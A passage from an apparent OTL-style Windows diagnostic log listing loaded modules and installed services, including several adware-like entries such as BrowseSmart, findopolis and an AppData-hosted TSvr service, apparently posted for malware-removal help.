MOD - [2009/07/14 01:15:08 | 000,011,264 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\d3d8thk.dll
MOD - [2009/07/14 01:15:07 | 000,161,792 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\d3d10_1.dll
MOD - [2009/07/14 01:15:07 | 000,078,848 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\cryptsp.dll
MOD - [2009/07/14 01:15:07 | 000,036,864 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\cryptbase.dll
MOD - [2009/07/14 01:15:03 | 000,522,240 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\clbcatq.dll
MOD - [2009/07/14 01:14:59 | 000,080,384 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\bcrypt.dll
MOD - [2009/07/14 01:14:58 | 000,014,336 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\avrt.dll
MOD - [2009/07/14 01:14:57 | 000,098,816 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\authz.dll
MOD - [2009/07/14 01:14:57 | 000,070,144 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\atl.dll
MOD - [2009/07/14 01:14:53 | 000,046,592 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\AltTab.dll
MOD - [2009/07/14 01:14:27 | 000,179,712 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\notepad.exe
MOD - [2009/07/14 01:14:19 | 000,092,672 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\dwm.exe
MOD - [2009/07/14 01:14:11 | 000,023,040 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\vidcap.ax
MOD - [2009/07/14 01:14:10 | 000,095,232 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\msscript.ocx
MOD - [2009/07/14 01:14:09 | 001,140,736 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\wscui.cpl
MOD - [2009/07/14 01:14:08 | 000,020,992 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\msacm32.drv
MOD - [2009/07/14 01:09:14 | 000,229,376 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\odbcint.dll
MOD - [2009/07/14 01:05:30 | 000,925,184 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\FXSRESM.dll
MOD - [2009/01/15 13:45:34 | 000,181,248 | ---- | M] () -- C:\Windows\System32\txmlutil.dll
MOD - [2008/07/16 10:09:02 | 000,798,720 | ---- | M] (zbshareware, Inc) -- C:\Program Files\USB Disk Security\USBGuard.exe
MOD - [2006/07/08 13:12:34 | 001,030,144 | ---- | M] (Microsoft Corporation) -- C:\Program Files\BitDefender\BitDefender 2010\dbghelp.dll


[color=#E56717]========== Services (All) ==========[/color]

SRV - File not found [Auto | Stopped] -- C:\Program Files\BrowseSmart\bin\utilBrowseSmart.exe -- (Util BrowseSmart)
SRV - File not found [Auto | Stopped] -- C:\Program Files\findopolis\updatefindopolis.exe -- (Update findopolis)
SRV - [2015/11/27 13:30:10 | 000,170,144 | ---- | M] (TODO: <lQøS T>) [Auto | Running] -- C:\Program Files\SFK\SSFK.exe -- (SSFK)
SRV - [2015/11/23 09:24:54 | 000,580,752 | ---- | M] (tsvr.com) [Auto | Running] -- C:\Users\abdelilah\AppData\Roaming\TSv\TSvr.exe -- (IhPul)
SRV - [2015/11/10 21:51:29 | 000,269,000 | ---- | M] (Adobe Systems Incorporated) [On_Demand | Stopped] -- C:\Windows\System32\Macromed\Flash\FlashPlayerUpdateService.exe -- (AdobeFlashPlayerUpdateSvc)
SRV - [2015/10/30 10:13:34 | 000,295,424 | ---- | M] (DTools LIMITED) [Auto | Running] -- C:\ProgramData\eWMiniProe\WMiniPro.exe -- (WdsManPro)
SRV - [2015/10/12 09:28:44 | 001,433,216 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Program Files\Skype\Toolbars\AutoUpdate\SkypeC2CAutoUpdateSvc.exe -- (c2cautoupdatesvc)
SRV - [2015/10/12 09:28:42 | 001,773,696 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Program Files\Skype\Toolbars\PNRSvc\SkypeC2CPNRSvc.exe -- (c2cpnrsvc)
SRV - [2015/06/12 18:34:06 | 000,107,848 | ---- | M] (Google Inc.) [On_Demand | Stopped] -- C:\Program Files\Google\Update\GoogleUpdate.exe -- (gupdatem)
SRV - [2015/06/12 18:34:06 | 000,107,848 | ---- | M] (Google Inc.) [Auto | Stopped] -- C:\Program Files\Google\Update\GoogleUpdate.exe -- (gupdate)
SRV - [2015/06/10 06:24:56 | 000,118,048 | ---- | M] (Elex do Brasil Participações Ltda) [Auto | Running] -- C:\Program Files\Elex-tech\YAC\iSafeSvc.exe -- (iSafeService)
SRV - [2015/06/03 15:42:38 | 000,327,296 | R--- | M] (Skype Technologies) [Auto | Stopped] -- C:\Program Files\Skype\Updater\Updater.exe -- (SkypeUpdate)
SRV - [2015/01/15 07:42:17 | 000,022,528 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\System32\lsass.exe -- (VaultSvc)
SRV - [2015/01/15 07:42:17 | 000,022,528 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\System32\lsass.exe -- (SamSs)
SRV - [2015/01/15 07:42:17 | 000,022,528 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\System32\lsass.exe -- (ProtectedStorage)
SRV - [2015/01/15 07:42:17 | 000,022,528 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\System32\lsass.exe -- (Netlogon)
SRV - [2015/01/15 07:42:17 | 000,022,528 | ---- | M] (Microsoft Corporation) [On_Demand | Running] -- C:\Windows\System32\lsass.exe -- (KeyIso)
SRV - [2015/01/15 07:42:17 | 000,022,528 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\System32\lsass.exe -- (EFS)
SRV - [2014/12/06 03:50:19 | 000,242,688 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\System32\nlasvc.dll -- (NlaSvc)
SRV - [2014/10/03 01:45:03 | 001,177,088 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\System32\WsmSvc.dll -- (WinRM)
SRV - [2014/10/03 01:44:26 | 000,475,136 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\System32\audiosrv.dll -- (Audiosrv)
SRV - [2014/10/03 01:44:26 | 000,475,136 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\System32\audiosrv.dll -- (AudioEndpointBuilder)
SRV - [2014/07/07 01:40:07 | 000,143,872 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\System32\cryptsvc.dll -- (CryptSvc)
SRV - [2014/06/30 22:14:53 | 000,879,248 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\Microsoft.NET\Framework\v3.0\Windows Communication Foundation\infocard.exe -- (idsvc)
SRV - [2014/06/23 22:12:24 | 000,068,608 | ---- | M] (globalUpdate) [Disabled | Stopped] -- C:\Program Files\globalUpdate\Update\GoogleUpdate.exe -- (globalUpdatem)
SRV - [2014/06/23 22:12:24 | 000,068,608 | ---- | M] (globalUpdate) [Disabled | Stopped] -- C:\Program Files\globalUpdate\Update\GoogleUpdate.exe -- (globalUpdate)
SRV - [2014/05/14 16:23:32 | 001,973,728 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\System32\wuaueng.dll -- (wuauserv)
SRV - [2014/04/12 00:48:42 | 000,139,944 | ---- | M] (Microsoft Corporation) [Disabled | Stopped] -- C:\Windows\Microsoft.NET\Framework\v4.0.30319\SMSvcHost.exe -- (NetTcpPortSharing)
SRV - [2014/04/12 00:48:42 | 000,139,944 | ---- | M] (Microsoft Corporation) [Disabled | Stopped] -- C:\Windows\Microsoft.NET\Framework\v4.0.30319\SMSvcHost.exe -- (NetTcpActivator)
SRV - [2014/04/12 00:48:42 | 000,139,944 | ---- | M] (Microsoft Corporation) [Disabled | Stopped] -- C:\Windows\Microsoft.NET\Framework\v4.0.30319\SMSvcHost.exe -- (NetPipeActivator)
SRV - [2014/04/12 00:48:42 | 000,139,944 | ---- | M] (Microsoft Corporation) [Disabled | Stopped] -- C:\Windows\Microsoft.NET\Framework\v4.0.30319\SMSvcHost.exe -- (NetMsmqActivator)
SRV - [2014/04/11 23:08:08 | 000,103,608 | ---- | M] (Microsoft Corporation) [Auto | Stopped] -- C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -- (clr_optimization_v4.0.30319_32)
SRV - [2014/04/11 23:08:08 | 000,045,744 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_state.exe -- (aspnet_state)
SRV - [2014/03/20 22:49:18 | 000,067,224 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorsvw.exe -- (clr_optimization_v2.0.50727_32)
SRV - [2014/01/28 02:07:07 | 000,185,344 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\System32\wwansvc.dll -- (WwanSvc)
SRV - [2013/12/19 00:41:02 | 030,814,400 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Program Files\Microsoft Office\Office14\GROOVE.EXE -- (Microsoft SharePoint Workspace Audit Service)
SRV - [2013/10/12 02:01:41 | 000,679,424 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\System32\IKEEXT.DLL -- (IKEEXT)
SRV - [2013/08/27 08:21:48 | 000,808,448 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\System32\FntCache.dll -- (FontCache)
SRV - [2013/08/14 15:19:22 | 000,039,056 | ---- | M] () [Auto | Running] -- C:\Program Files\RealNetworks\RealDownloader\rndlresolversvc.exe -- (RealNetworks Downloader Resolver Service)
SRV - [2013/07/04 11:57:28 | 000,205,824 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\System32\WebClnt.dll -- (WebClient)
SRV - [2013/06/23 15:44:14 | 010,923,520 | ---- | M] () [On_Demand | Stopped] -- c:\wamp\bin\mysql\mysql5.6.12\bin\mysqld.exe -- (wampmysqld)
SRV - [2013/05/27 04:57:27 | 000,680,960 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Program Files\Windows Defender\MpSvc.dll -- (WinDefend)
SRV - [2013/02/27 04:49:16 | 000,047,104 | ---- | M] (Microsoft Corporation) [On_Demand | Running] -- C:\Windows\System32\appinfo.dll -- (Appinfo)
SRV - [2012/12/12 15:17:56 | 000,574,080 | ---- | M] () [Disabled | Stopped] -- C:\ProgramData\IBUpdaterService\ibsvc.exe -- (IBUpdaterService)
SRV - [2012/11/12 13:03:42 | 001,343,400 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\System32\Wat\WatAdminSvc.exe -- (WatAdminSvc)
SRV - [2012/11/11 22:38:00 | 001,615,688 | ---- | M] (BitDefender S.R.L.) [Auto | Running] -- C:\Program Files\BitDefender\BitDefender 2010\vsserv.exe -- (VSSERV)
SRV - [2012/11/11 22:36:11 | 000,310,856 | ---- | M] (BitDefender S.R.L.) [Auto | Running] -- C:\Program Files\Common Files\BitDefender\BitDefender Update Service\livesrv.exe -- (LIVESRV)
SRV - [2012/11/11 22:34:54 | 000,315,392 | ---- | M] (S.C. BitDefender S.R.L) [On_Demand | Stopped] -- C:\Program Files\Common Files\BitDefender\BitDefender Threat Scanner\scan.dll -- (scan)
SRV - [2012/11/11 22:34:30 | 000,183,880 | ---- | M] (BitDefender S.R.L. http://www.bitdefender.com) [On_Demand | Stopped] -- C:\Program Files\Common Files\BitDefender\BitDefender Arrakis Server\bin\arrakis3.exe -- (Arrakis3)
SRV - [2012/10/03 16:40:35 | 000,499,712 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\System32\iphlpsvc.dll -- (iphlpsvc)
SRV - [2012/07/04 21:14:34 | 000,102,912 | ---- | M] (Microsoft Corporation) [On_Demand | Running] -- C:\Windows\System32\browser.dll -- (Browser)
SRV - [2011/05/24 10:44:59 | 000,293,376 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\System32\umpnpmgr.dll -- (PlugPlay)
SRV - [2011/03/03 05:38:01 | 000,132,608 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\System32\dnsrslvr.dll -- (Dnscache)
SRV - [2010/11/20 12:21:40 | 000,067,584 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\System32\WUDFSvc.dll -- (wudfsvc)
SRV - [2010/11/20 12:21:37 | 000,085,504 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\System32\wpdbusenum.dll -- (WPDBusEnum)
SRV - [2010/11/20 12:21:36 | 000,351,232 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\System32\winhttp.dll -- (WinHttpAutoProxySvc)
SRV - [2010/11/20 12:21:36 | 000,084,480 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\System32\wkssvc.dll -- (LanmanWorkstation)
SRV - [2010/11/20 12:21:35 | 001,086,976 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\System32\wevtsvc.dll -- (eventlog)
SRV - [2010/11/20 12:21:35 | 000,463,360 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\System32\wiaservc.dll -- (StiSvc)
SRV - [2010/11/20 12:21:35 | 000,276,992 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\System32\wcncsvc.dll -- (wcncsvc)
SRV - [2010/11/20 12:21:33 | 000,171,008 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\System32\umrdp.dll -- (UmRdpService)
SRV - [2010/11/20 12:21:33 | 000,119,808 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\System32\umpo.dll -- (Power)
SRV - [2010/11/20 12:21:28 | 000,521,216 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\System32\termsrv.dll -- (TermService)
SRV - [2010/11/20 12:21:28 | 000,242,176 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\System32\tapisrv.dll -- (TapiSrv)
SRV - [2010/11/20 12:21:28 | 000,073,216 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\System32\TabSvc.dll -- (TabletInputService)
SRV - [2010/11/20 12:21:27 | 001,159,168 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\System32\sysmain.dll -- (SysMain)
SRV - [2010/11/20 12:21:26 | 000,168,960 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\System32\srvsvc.dll -- (LanmanServer)
SRV - [2010/11/20 12:21:24 | 000,053,760 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\System32\sppuinotify.dll -- (sppuinotify)
SRV - [2010/11/20 12:21:19 | 000,328,192 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\System32\shsvcs.dll -- (ShellHWDetection)
SRV - [2010/11/20 12:21:08 | 000,113,664 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\System32\SessEnv.dll -- (SessionEnv)
SRV - [2010/11/20 12:21:06 | 000,125,952 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\System32\sdrsvc.dll -- (SDRSVC)
SRV - [2010/11/20 12:21:05 | 000,750,592 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\System32\schedsvc.dll -- (Schedule)
SRV - [2010/11/20 12:21:03 | 000,376,832 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\System32\rpcss.dll -- (RpcSs)
SRV - [2010/11/20 12:21:03 | 000,376,832 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\System32\rpcss.dll -- (DcomLaunch)
SRV - [2010/11/20 12:21:00 | 000,286,208 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\System32\rasmans.dll -- (RasMan)
SRV - [2010/11/20 12:20:58 | 000,585,728 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\System32\qmgr.dll -- (BITS)
SRV - [2010/11/20 12:20:57 | 000,330,240 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\System32\QAGENTRT.DLL -- (napagent)
SRV - [2010/11/20 12:20:57 | 000,165,376 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\System32\provsvc.dll -- (HomeGroupProvider)
SRV - [2010/11/20 12:20:57 | 000,164,352 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\System32\profsvc.dll -- (ProfSvc)
SRV - [2010/11/20 12:20:54 | 001,508,864 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\System32\pla.dll -- (pla)
SRV - [2010/11/20 12:19:40 | 000,566,272 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\System32\MPSSVC.dll -- (MpsSvc)
SRV - [2010/11/20 12:19:33 | 000,068,096 | ---- | M] (Microsoft Corporation) [Disabled | Stopped] -- C:\Windows\System32\Mcx2Svc.dll -- (Mcx2Svc)
SRV - [2010/11/20 12:19:28 | 000,194,560 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\System32\ListSvc.dll -- (HomeGroupListener)
SRV - [2010/11/20 12:19:26 | 000,071,168 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\System32\KMSVC.DLL -- (hkmsvc)
SRV - [2010/11/20 12:19:23 | 000,350,208 | ---- | M] (Microsoft Corporation) [On_Demand | Running] -- C:\Windows\System32\IPSECSVC.DLL -- (PolicyAgent)
SRV - [2010/11/20 12:19:09 | 000,593,408 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\System32\gpsvc.dll -- (gpsvc)
SRV - [2010/11/20 12:18:34 | 000,214,016 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\System32\dot3svc.dll -- (dot3svc)
SRV - [2010/11/20 12:18:34 | 000,144,384 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\System32\dps.dll -- (DPS)
SRV - [2010/11/20 12:18:30 | 000,254,464 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\System32\dhcpcore.dll -- (Dhcp)
SRV - [2010/11/20 12:18:25 | 000,546,304 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\System32\cscsvc.dll -- (CscService)
SRV - [2010/11/20 12:18:12 | 000,067,584 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\System32\certprop.dll -- (SCPolicySvc)
SRV - [2010/11/20 12:18:12 | 000,067,584 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\System32\certprop.dll -- (CertPropSvc)
SRV - [2010/11/20 12:18:06 | 000,494,592 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\System32\BFE.DLL -- (BFE)
SRV - [2010/11/20 12:18:06 | 000,088,064 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\System32\AxInstSv.dll -- (AxInstSV)
SRV - [2010/11/20 12:17:56 | 001,121,792 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Program Files\Windows Media Player\wmpnetwk.exe -- (WMPNetworkSvc)
SRV - [2010/11/20 12:17:52 | 001,203,200 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\System32\wbengine.exe -- (wbengine)
SRV - [2010/11/20 12:17:51 | 001,025,536 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\System32\VSSVC.exe -- (VSS)
SRV - [2010/11/20 12:17:49 | 000,453,632 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\System32\vds.exe -- (vds)
SRV - [2010/11/20 12:17:48 | 000,204,800 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\servicing\TrustedInstaller.exe -- (TrustedInstaller)
SRV - [2010/11/20 12:17:45 | 000,317,440 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\System32\spoolsv.exe -- (Spooler)
SRV - [2010/11/20 12:17:30 | 003,179,520 | ---- | M] (Microsoft Corporation) [Auto | Stopped] -- C:\Windows\System32\sppsvc.exe -- (sppsvc)
SRV - [2010/11/20 12:17:22 | 000,073,216 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\System32\msiexec.exe -- (msiserver)
SRV - [2010/11/20 12:17:11 | 000,523,264 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\System32\FXSSVC.exe -- (Fax)
SRV - [2010/11/20 12:17:07 | 000,556,544 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\ehome\ehrecvr.exe -- (ehRecvr)
SRV - [2010/06/25 17:07:20 | 000,117,264 | ---- | M] (CACE Technologies, Inc.) [On_Demand | Stopped] -- C:\Program Files\WinPcap\rpcapd.exe -- (rpcapd)
SRV - [2010/04/03 11:56:08 | 042,884,448 | ---- | M] (Microsoft Corporation) [Auto | Running] -- c:\Program Files\Microsoft SQL Server\MSSQL10_50.MSSQLSERVER\MSSQL\Binn\sqlservr.exe -- (MSSQLSERVER)
SRV - [2010/04/03 11:56:08 | 000,367,456 | ---- | M] (Microsoft Corporation) [Disabled | Stopped] -- c:\Program Files\Microsoft SQL Server\MSSQL10_50.MSSQLSERVER\MSSQL\Binn\SQLAGENT.EXE -- (SQLSERVERAGENT)
SRV - [2010/04/03 11:56:08 | 000,267,616 | ---- | M] (Microsoft Corporation) [Disabled | Stopped] -- c:\Program Files\Microsoft SQL Server\90\Shared\sqlbrowser.exe -- (SQLBrowser)
SRV - [2010/04/03 11:56:08 | 000,097,632 | ---- | M] (Microsoft Corporation) [Auto | Running] -- c:\Program Files\Microsoft SQL Server\90\Shared\sqlwriter.exe -- (SQLWriter)
SRV - [2010/04/03 11:56:08 | 000,044,896 | ---- | M] (Microsoft Corporation) [Disabled | Stopped] -- c:\Program Files\Microsoft SQL Server\100\Shared\sqladhlp.exe -- (MSSQLServerADHelper100)
SRV - [2010/01/09 21:37:50 | 004,640,000 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Program Files\Common Files\microsoft shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE -- (osppsvc)
SRV - [2010/01/09 21:18:00 | 000,149,352 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Program Files\Common Files\microsoft shared\Source Engine\OSE.EXE -- (ose)
SRV - [2009/07/14 01:16:20 | 000,073,728 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\System32\wscsvc.dll -- (wscsvc)
SRV - [2009/07/14 01:16:20 | 000,010,752 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\System32\wpcsvc.dll -- (WPCSvc)
SRV - [2009/07/14 01:16:19 | 000,829,440 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\System32\wlansvc.dll -- (Wlansvc)
SRV - [2009/07/14 01:16:19 | 000,168,960 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\System32\wbem\WMIsvc.dll -- (Winmgmt)
SRV - [2009/07/14 01:16:18 | 000,147,968 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\System32\wecsvc.dll -- (Wecsvc)
SRV - [2009/07/14 01:16:18 | 000,076,288 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\System32\wdi.dll -- (WdiSystemHost)
SRV - [2009/07/14 01:16:18 | 000,076,288 | ---- | M] (Microsoft Corporation) [On_Demand | Running] -- C:\Windows\System32\wdi.dll -- (WdiServiceHost)
SRV - [2009/07/14 01:16:18 | 000,065,024 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\System32\wersvc.dll -- (WerSvc)
SRV - [2009/07/14 01:16:18 | 000,061,440 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\System32\wercplsupport.dll -- (wercplsupport)
SRV - [2009/07/14 01:16:18 | 000,032,768 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\System32\WcsPlugInService.dll -- (WcsPlugInService)
SRV - [2009/07/14 01:16:17 | 000,288,768 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\System32\w32time.dll -- (W32Time)
SRV - [2009/07/14 01:16:17 | 000,266,752 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\System32\upnphost.dll -- (upnphost)
SRV - [2009/07/14 01:16:17 | 000,151,552 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\System32\wbiosrvc.dll -- (WbioSrvc)
SRV - [2009/07/14 01:16:17 | 000,029,696 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\System32\uxsms.dll -- (UxSms)
SRV - [2009/07/14 01:16:16 | 000,077,312 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\System32\trkwks.dll -- (TrkWks)
SRV - [2009/07/14 01:16:16 | 000,037,376 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\System32\themeservice.dll -- (Themes)
SRV - [2009/07/14 01:16:15 | 000,313,856 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\System32\swprv.dll -- (swprv)
SRV - [2009/07/14 01:16:15 | 000,162,816 | ---- | M] (Microsoft Corporation) [On_Demand | Running] -- C:\Windows\System32\ssdpsrv.dll -- (SSDPSRV)
SRV - [2009/07/14 01:16:15 | 000,090,112 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\System32\sstpsvc.dll -- (SstpSvc)
SRV - [2009/07/14 01:16:15 | 000,055,808 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\System32\tbssvc.dll -- (TBS)
SRV - [2009/07/14 01:16:13 | 000,132,608 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\System32\SCardSvr.dll -- (SCardSvr)
SRV - [2009/07/14 01:16:13 | 000,112,640 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\System32\regsvc.dll -- (RemoteRegistry)
SRV - [2009/07/14 01:16:13 | 000,049,664 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\System32\Sens.dll -- (SENS)
SRV - [2009/07/14 01:16:13 | 000,043,520 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\System32\RpcEpMap.dll -- (RpcEptMapper)
SRV - [2009/07/14 01:16:13 | 000,025,088 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\System32\sensrsvc.dll -- (SensrSvc)
SRV - [2009/07/14 01:16:13 | 000,021,504 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\System32\seclogon.dll -- (seclogon)
SRV - [2009/07/14 01:16:12 | 001,004,544 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\System32\PeerDistSvc.dll -- (PeerDistSvc)
SRV - [2009/07/14 01:16:12 | 000,327,680 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\System32\p2psvc.dll -- (p2psvc)
SRV - [2009/07/14 01:16:12 | 000,269,824 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\System32\pnrpsvc.dll -- (PNRPsvc)
SRV - [2009/07/14 01:16:12 | 000,269,824 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\System32\pnrpsvc.dll -- (p2pimsvc)
SRV - [2009/07/14 01:16:12 | 000,210,944 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\System32\qwave.dll -- (QWAVE)
SRV - [2009/07/14 01:16:12 | 000,154,624 | ---- | M] (Microsoft Corporation) [On_Demand | Running] -- C:\Windows\System32\pcasvc.dll -- (PcaSvc)
SRV - [2009/07/14 01:16:12 | 000,090,624 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\System32\rasauto.dll -- (RasAuto)
SRV - [2009/07/14 01:16:12 | 000,020,480 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\System32\pnrpauto.dll -- (PNRPAutoReg)
SRV - [2009/07/14 01:16:11 | 000,019,456 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\System32\nsisvc.dll -- (nsi)
SRV - [2009/07/14 01:16:03 | 000,360,448 | ---- | M] (Microsoft Corporation) [On_Demand | Running] -- C:\Windows\System32\netprofm.dll -- (netprofm)
SRV - [2009/07/14 01:16:03 | 000,280,576 | ---- | M] (Microsoft Corporation) [On_Demand | Running] -- C:\Windows\System32\netman.dll -- (Netman)
SRV - [2009/07/14 01:15:43 | 000,308,736 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\System32\msdtckrm.dll -- (KtmRm)
SRV - [2009/07/14 01:15:41 | 000,075,264 | ---- | M] (Microsoft Corporation) [Disabled | Stopped] -- C:\Windows\System32\mprdim.dll -- (RemoteAccess)
SRV - [2009/07/14 01:15:41 | 000,049,664 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\System32\mmcss.dll -- (THREADORDER)
